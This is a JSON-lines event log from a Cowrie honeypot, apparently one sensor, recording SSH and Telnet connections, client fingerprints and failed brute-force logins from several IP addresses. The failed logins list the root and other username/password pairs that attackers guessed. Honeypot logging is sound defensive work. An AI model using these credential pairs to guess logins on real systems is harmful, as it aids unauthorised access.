{"eventid":"cowrie.login.failed","username":"root","password":"hallo123","message":"login attempt [root/hallo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:35.602743Z","src_ip":"60.165.124.241","session":"42b78d247e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40862,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dec40e34bb9","protocol":"ssh","message":"New connection: 2.57.122.208:40862 (159.203.135.109:22) [session: 0dec40e34bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:36.036768Z"}
{"eventid":"cowrie.session.closed","duration":5.004327774047852,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:36.083891Z","src_ip":"198.58.117.211","session":"fc8e3fe404b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":52206,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd8bfef47df","protocol":"telnet","message":"New connection: 198.58.117.211:52206 (10.17.0.5:23) [session: 7fd8bfef47df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:36.121607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:36.348239Z","src_ip":"2.57.122.208","session":"0dec40e34bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:36.351680Z","src_ip":"2.57.122.208","session":"0dec40e34bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:36.845960Z","src_ip":"60.165.124.241","session":"42b78d247e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48584,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ed0837e24c","protocol":"ssh","message":"New connection: 60.165.124.241:48584 (10.17.0.5:22) [session: d9ed0837e24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:37.078379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:37.082013Z","src_ip":"60.165.124.241","session":"d9ed0837e24c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:37.320904Z","src_ip":"60.165.124.241","session":"d9ed0837e24c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Camille17","message":"login attempt [root/Camille17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:38.056521Z","src_ip":"60.165.124.241","session":"d9ed0837e24c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:38.195192Z","src_ip":"2.57.122.208","session":"0dec40e34bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:39.299056Z","src_ip":"60.165.124.241","session":"d9ed0837e24c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:39.449633Z","src_ip":"2.57.122.208","session":"0dec40e34bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51144,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4c6bda5385","protocol":"ssh","message":"New connection: 60.165.124.241:51144 (10.17.0.5:22) [session: 6d4c6bda5385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:39.531026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:39.535640Z","src_ip":"60.165.124.241","session":"6d4c6bda5385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:39.780382Z","src_ip":"60.165.124.241","session":"6d4c6bda5385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234....","message":"login attempt [root/qwer1234....] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:40.508734Z","src_ip":"60.165.124.241","session":"6d4c6bda5385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005669116973877,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:41.127158Z","src_ip":"198.58.117.211","session":"7fd8bfef47df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":52258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74e747920fa","protocol":"telnet","message":"New connection: 198.58.117.211:52258 (10.17.0.5:23) [session: a74e747920fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:41.173116Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:41.755820Z","src_ip":"60.165.124.241","session":"6d4c6bda5385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a0753e8ef14","protocol":"ssh","message":"New connection: 60.165.124.241:53968 (10.17.0.5:22) [session: 9a0753e8ef14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:41.998182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:42.007222Z","src_ip":"60.165.124.241","session":"9a0753e8ef14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:42.255521Z","src_ip":"60.165.124.241","session":"9a0753e8ef14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123!","message":"login attempt [root/Aa123123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:43.002983Z","src_ip":"60.165.124.241","session":"9a0753e8ef14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33096,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e5e278c6de5","protocol":"ssh","message":"New connection: 168.167.228.74:33096 (10.17.0.5:22) [session: 4e5e278c6de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:43.417642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:43.422788Z","src_ip":"168.167.228.74","session":"4e5e278c6de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:43.678217Z","src_ip":"168.167.228.74","session":"4e5e278c6de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:44.242947Z","src_ip":"60.165.124.241","session":"9a0753e8ef14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57184,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee67d2468336","protocol":"ssh","message":"New connection: 60.165.124.241:57184 (10.17.0.5:22) [session: ee67d2468336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:44.481318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:44.486140Z","src_ip":"60.165.124.241","session":"ee67d2468336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpassword2024","message":"login attempt [root/rootpassword2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:44.731104Z","src_ip":"168.167.228.74","session":"4e5e278c6de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:44.737109Z","src_ip":"60.165.124.241","session":"ee67d2468336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@1234","message":"login attempt [root/pass@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:45.486002Z","src_ip":"60.165.124.241","session":"ee67d2468336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:45.989902Z","src_ip":"168.167.228.74","session":"4e5e278c6de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.004579305648804,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:46.177461Z","src_ip":"198.58.117.211","session":"a74e747920fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"280c3adb8f34","protocol":"telnet","message":"New connection: 198.58.117.211:47152 (10.17.0.5:23) [session: 280c3adb8f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:46.215743Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:46.730879Z","src_ip":"60.165.124.241","session":"ee67d2468336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60170,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa077a874de6","protocol":"ssh","message":"New connection: 60.165.124.241:60170 (10.17.0.5:22) [session: fa077a874de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:46.993301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:46.998490Z","src_ip":"60.165.124.241","session":"fa077a874de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:47.253762Z","src_ip":"60.165.124.241","session":"fa077a874de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc.123456","message":"login attempt [root/abc.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:48.033573Z","src_ip":"60.165.124.241","session":"fa077a874de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:49.290055Z","src_ip":"60.165.124.241","session":"fa077a874de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34802,"dst_ip":"10.17.0.5","dst_port":22,"session":"454268aee895","protocol":"ssh","message":"New connection: 60.165.124.241:34802 (10.17.0.5:22) [session: 454268aee895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:49.515163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:49.521097Z","src_ip":"60.165.124.241","session":"454268aee895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:49.766194Z","src_ip":"60.165.124.241","session":"454268aee895","protocol":"ssh"}
